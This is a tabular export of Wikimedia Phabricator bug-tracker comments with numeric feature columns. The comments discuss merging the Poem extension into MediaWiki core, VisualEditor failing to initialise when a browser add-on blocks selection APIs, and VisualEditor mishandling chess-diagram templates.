237211,Merge Poem extension into MediaWiki core,"Poem was merged into core back in 2008, but subsequently reverted; see http://www.mediawiki.org/wiki/Special:Code/MediaWiki/43520.
I must say, however, that I totally agree with the original report and Poem (along with some obvious stuff like CheckUser, RenameUser, etc.) should be in core; maybe it should've been there from day one, even.",,,1374843237,,PHID-USER-mlp7cjyksjzemkdr5ued,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,2.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,11.0,14.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,11.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,5.0,14.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.761904761904762,0.7936507936507936,"Poem was merged into core back in 2008, but subsequently reverted; see URL
I must say, however, that I totally agree with the original report and Poem (along with some obvious stuff like CheckUser, RenameUser, etc.) should be in core; maybe it should've been there from day one, even."
237205,Merge Poem extension into MediaWiki core,"Steps to deprecate an extension (apart from actual code changes):

* Turn off extension for testwiki in InitialiseSettings.php and make sure nothing breaks (1 deployment cycle)
* Turn off extension for all wikis in InitialiseSettings.php and make sure nothing breaks (1 deployment cycle)
* Remove extension from CommonSettings.php, wmf-config/extension-list, and make-wmf-branch/default.conf (1 deployment cycle)
* Move/deprecate MediaWiki documentation
* Get component removed from Bugzilla, migrate any existing bugs
* Have project removed from Gerrit (not immediately of course)",,,1374792408,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,1.5,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,7.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,5.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,9.5,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,4.592857142857143,0.6491883116883117,"Steps to deprecate an extension (apart from actual code changes):

* Turn off extension for testwiki in InitialiseSettings.php and make sure nothing breaks (1 deployment cycle)
* Turn off extension for all wikis in InitialiseSettings.php and make sure nothing breaks (1 deployment cycle)
* Remove extension from CommonSettings.php, wmf-config/extension-list, and make-wmf-branch/default.conf (1 deployment cycle)
* Move/deprecate MediaWiki documentation
* Get component removed from Bugzilla, migrate any existing bugs
* Have project removed from Gerrit (not immediately of course)"
237201,Merge Poem extension into MediaWiki core,"(In reply to comment #1)
> Anytime an extension is created or deprecated it's a logistical pain in the
> ass.

Can you elaborate on this? It seems pretty easy to me.",,,1374789622,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,12.0,15.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.8846153846153846,"(In reply to comment #1)
QUOTE
QUOTE

Can you elaborate on this? It seems pretty easy to me."
237196,Merge Poem extension into MediaWiki core,"I'm cool with merging it into core, although I probably wouldn't call it 'easy'. Anytime an extension is created or deprecated it's a logistical pain in the ass. Also, I would prefer to have this idea vetted on Wikitech-l before someone actually goes through the trouble of doing it.",,,1374789414,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,0.0,2.0,0.0,2.0,2.0,3.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,5.0,0.0,10.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,10.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,15.0,2.0,0.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8524590163934427,0.819672131147541,"I'm cool with merging it into core, although I probably wouldn't call it 'easy'. Anytime an extension is created or deprecated it's a logistical pain in the ass. Also, I would prefer to have this idea vetted on Wikitech-l before someone actually goes through the trouble of doing it."
54008,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),"VE should work as expected without clipboard access.  Currently it only half initalises.

1. Install Kill Evil in Chrome or similar
2. Edit any page

(https://chrome.google.com/webstore/detail/kill-evil/epieehnpcepgfiildhdklacomihpoldk)

Result:
https://en.wikipedia.org/wiki/File:Missing-ui-ve.png

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374713100,1718626265.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-cn7rkjg6saedlg6no5bg,task_description,declined,True,c1,3,False,False,False,3,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,5.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.8275862068965516,0.6724137931034483,"VE should work as expected without clipboard access.  Currently it only half initalises.

1. Install Kill Evil in Chrome or similar
2. Edit any page

(URL

Result:
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
2358762,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),The extension in question doesn't exist anymore. I still don't think we need to support any future extension that kills essential web APIs.,,,1718626265,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,572,,4.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,7.0,0.0,15.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.8888888888888888,The extension in question doesn't exist anymore. I still don't think we need to support any future extension that kills essential web APIs.
659362,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),"People disable these features for good reason; a nice error message, or even an ugly error message, would be helpful to let them know why VE wont load.",,,1462884959,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,False,,,149,,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,6.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.757575757575758,0.9090909090909091,"People disable these features for good reason; a nice error message, or even an ugly error message, would be helpful to let them know why VE wont load."
659349,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),"@Esanders I agree, but perhaps we should also be better about error handling in general when an app such as VE fails to launch. There is no problem with not supporting Kill Evil, but I think there is a problem of ending up in a half initiated state with no user feedback right ?

I think that is an area that we could be better at (be it VE, UploadWizard or what not).",,,1462883974,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,149,,0.0,0.0,0.0,0.0,2.0,5.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,1.0,7.0,12.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,2.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,5.0,7.0,12.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,12.0,6.0,1.0,0.0,0.0,7.0,0.0,4.0,5.0,0.0,2.0,2.0,0.0,0.0,3.691358024691358,0.7283950617283951,"SCREEN_NAME I agree, but perhaps we should also be better about error handling in general when an app such as VE fails to launch. There is no problem with not supporting Kill Evil, but I think there is a problem of ending up in a half initiated state with no user feedback right ?

I think that is an area that we could be better at (be it VE, UploadWizard or what not)."
659341,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),This little used extension kills APIs that are essential for VE to work.,,,1462883110,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,149,,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,This little used extension kills APIs that are essential for VE to work.
233078,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),Sorry for very slow triage.,,,1390417139,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,Sorry for very slow triage.
233071,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),"When 'Kill Evil' addon exists, there are two failures to load modules, and then an exception which halts the VE initialisation half way.

Module 'WrappedSelection' failed to load: Module 'WrappedSelection' failed to load: No means of selecting a Range or TextRange was found rangy-core-1.3.js:105

Module 'Position' failed to load: required module 'WrappedSelection' not supported rangy-core-1.3.js:105

Uncaught TypeError: Object #<WrappedSelection> has no method 'refresh' rangy-core-1.3.js:3035

WrappedSelection rangy-core-1.3.js:3035
getSelection rangy-core-1.3.js:3084
ve.ce.Surface.showSelection ve.ce.Surface.js:1325
ve.ce.Surface.onChange ve.ce.Surface.js:747
oo.EventEmitter.emit oo.js:421
ve.dm.Surface.change ve.dm.Surface.js:402
ve.dm.SurfaceFragment.select ve.dm.SurfaceFragment.js:448
ve.ui.Surface.initialize ve.ui.Surface.js:81
(anonymous function) ve.init.mw.ViewPageTarget.js:1098
proxy load.php?debug=true&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.t…%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130725T023359Z:775

in ve.ui.Surface method initialize, the following invocation should probably be skipped if those rangy modules have failed to load.

   // By re-asserting the current selection and forcing a poll we force selection to be something
   // reasonable - otherwise in Firefox, the initial selection is (0,0), causing bug 42277
   this.model.getFragment().select();",,,1374728047,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,False,,,3,,0.0,0.5,0.0,1.0,0.5,4.0,0.0,0.0,0.0,0.5,1.5,6.0,0.0,0.0,0.5,0.5,0.0,3.0,6.5,0.5,3.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,3.5,2.5,12.0,1.0,1.5,5.5,0.0,0.0,0.0,0.5,4.0,0.0,1.0,0.0,0.5,6.5,14.5,0.0,6.0,0.0,0.5,0.0,1.0,1.5,0.0,3.5,0.0,0.0,1.5,6.743019759450172,0.6893792955326461,"When 'Kill Evil' addon exists, there are two failures to load modules, and then an exception which halts the VE initialisation half way.

Module 'WrappedSelection' failed to load: Module 'WrappedSelection' failed to load: No means of selecting a Range or TextRange was found rangy-core-1.3.js:105

Module 'Position' failed to load: required module 'WrappedSelection' not supported rangy-core-1.3.js:105

Uncaught TypeError: Object #<WrappedSelection> has no method 'refresh' rangy-core-1.3.js:3035

WrappedSelection rangy-core-1.3.js:3035
getSelection rangy-core-1.3.js:3084
ve.ce.Surface.showSelection ve.ce.Surface.js:1325
ve.ce.Surface.onChange ve.ce.Surface.js:747
oo.EventEmitter.emit oo.js:421
ve.dm.Surface.change ve.dm.Surface.js:402
ve.dm.SurfaceFragment.select ve.dm.SurfaceFragment.js:448
ve.ui.Surface.initialize ve.ui.Surface.js:81
(anonymous function) ve.init.mw.ViewPageTarget.js:1098
proxy load.php?debug=true&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.t…%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130725T023359Z:775

in ve.ui.Surface method initialize, the following invocation should probably be skipped if those rangy modules have failed to load.

   // By re-asserting the current selection and forcing a poll we force selection to be something
   // reasonable - otherwise in Firefox, the initial selection is (0,0), causing bug 42277
   this.model.getFragment().select();"
233064,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),This isn't a fancy thing. You can't do things like bold the selection if you can't access information about what is actually selected.,,,1374714907,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,4.0,11.0,7.0,4.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,14.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8214285714285714,This isn't a fancy thing. You can't do things like bold the selection if you can't access information about what is actually selected.
233056,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),That too ;-)  Making the bug more general.  Hopefully VE is able to be at least partially functional without all those fancy things.,,,1374714190,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,False,,,3,,4.0,0.0,0.0,0.0,0.0,19.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,19.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,15.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.074074074074074,0.9259259259259259,That too ;-)  Making the bug more general.  Hopefully VE is able to be at least partially functional without all those fancy things.
233047,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),"That's more likely caused by the ""getSelection and onselectstart/onmousedown"" part of that extension.",,,1374713556,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.684210526315789,0.9473684210526315,"That's more likely caused by the ""getSelection and onselectstart/onmousedown"" part of that extension."
53932,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,"A very common chess template on many Wikipedias recommends using '|=' , and most instances of chess boards use this syntax
https://en.wikipedia.org/wiki/Template:Chess_diagram#Standard_diagram
https://de.wikipedia.org/wiki/Vorlage:Schachbrett#Standarddiagramm

On German Wikipedia, editing the template strips the '=' signs.  This article is on the parsoid topfails
https://de.wikipedia.org/wiki/Edward_Lasker?veaction=edit
http://parsoid.wmflabs.org:8001/topfails/1

There are 900 uses of these chess templates on German Wikipedia.
https://de.wikipedia.org/w/index.php?title=Spezial:Linkliste/Vorlage:Schachbrett&limit=750
https://de.wikipedia.org/w/index.php?title=Spezial:Linkliste/Vorlage:Schachbrett-klein&limit=115
A few more of
https://de.wikipedia.org/wiki/Vorlage:Schachbrett-10x10
https://de.wikipedia.org/wiki/Vorlage:Schachbrett-8x10
https://de.wikipedia.org/wiki/Vorlage:Schachbrett-Chaturanga

The syntax is used on many other WPs, incl. eswp, frwp, plwp and ruwp
https://es.wikipedia.org/wiki/Plantilla:Diagrama_de_ajedrez#Diagrama_est.C3.A1ndar
https://fr.wikipedia.org/wiki/Mod%C3%A8le:Diagramme_d%27%C3%A9checs
https://fr.wikipedia.org/wiki/Alexandre_Alekhine
https://pl.wikipedia.org/wiki/Szablon:SzachyDiagram
https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%A8%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D0%BD%D0%B0%D1%8F_%D0%B4%D0%B8%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0

On English, the VE UI can go into massive layout problems, but the UI issues may all be due to the Parsoid issue.
https://en.wikipedia.org/wiki/French_Defence?veaction=edit
The number of uses on enwp appears to be in the same ballpark as dewp
https://en.wikipedia.org/w/index.php?title=Special:WhatLinksHere/Template:Chess_diagram&limit=900

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
{T55226}
{T53166}
{T73404}",Low,25.0,1374655260,1429477508.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-73q6sosb7r2syig35llq,task_description,resolved,True,c1,3,False,False,False,3,,2.0,0.0,0.5,0.5,0.0,7.0,1.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.5,0.0,0.0,1.0,8.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,17.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.5,21.0,0.0,1.5,7.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,8.0,13.5,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.5,0.0,3.270408163265306,0.5510204081632653,"A very common chess template on many Wikipedias recommends using '|=' , and most instances of chess boards use this syntax
URL
URL

On German Wikipedia, editing the template strips the '=' signs.  This article is on the parsoid topfails
URL
URL

There are 900 uses of these chess templates on German Wikipedia.
URL
URL
A few more of
URL
URL
URL

The syntax is used on many other WPs, incl. eswp, frwp, plwp and ruwp
URL
URL
URL
URL
URL

On English, the VE UI can go into massive layout problems, but the UI issues may all be due to the Parsoid issue.
URL
The number of uses on enwp appears to be in the same ballpark as dewp
URL

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
{T55226}
{T53166}
{T73404}"
446007,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,"There are no screenshots here to show how it used to be broken, but it seems to behave correctly now.",,,1429477499,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-73q6sosb7r2syig35llq,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,14.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8636363636363636,"There are no screenshots here to show how it used to be broken, but it seems to behave correctly now."
252352,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,Also at https://fr.wikipedia.org/w/index.php?title=Tour_(%C3%A9checs)&diff=96381943&oldid=95391142 .,,,1378286809,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-73q6sosb7r2syig35llq,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,Also at URL .
252346,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,"Moving to visual editor in case there is something about the Parsoid output that is causing broken layout in the ""|="" form of chess-board syntax.  Please assign to Parsoid if there is a bug here in our output.",,,1375205944,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-73q6sosb7r2syig35llq,task_subcomment,,True,c1,3,True,,,4,,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,9.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,18.0,7.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.8222222222222224,0.7555555555555555,"Moving to visual editor in case there is something about the Parsoid output that is causing broken layout in the ""|="" form of chess-board syntax.  Please assign to Parsoid if there is a bug here in our output."
252341,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,"Hmm .. strange.  When I copied both forms of the syntax into a file and parse it with Parsoid, the html renders just fine.  Curious why it breaks in VE however.

Verifiable here: http://parsoid.wmflabs.org/_wikitext/

Paste this there and scroll down past the literal html and you'll see this rendered correctly there.

------------------------------------------------
{{Infobox chess opening
|openingname = French Defence
|image = {{Chess diagram|=
|
|
|=
  |rd|nd|bd|qd|kd|bd|nd|rd|=
  |pd|pd|pd|pd|  |pd|pd|pd|=
  |  |  |  |  |pd|__|__|__|=
  |  |  |__|  |__|__|__|__|=
  |  |  |__|  |pl|__|__|__|=
  |  |  |__|__|__|__|__|__|=
  |pl|pl|pl|pl|__|pl|pl|pl|=
  |rl|nl|bl|ql|kl|bl|nl|rl|=
|
}}
|moves=1.e4 e6
|ECO=C00–C19
|birth =
|nameorigin = London vs. Paris correspondence match (1834–36)
|parentopening = [[King's Pawn Game]]
|AKA =
|chessgid=39913&move=2&moves=e4.e6&nodes=21720.39913
}}
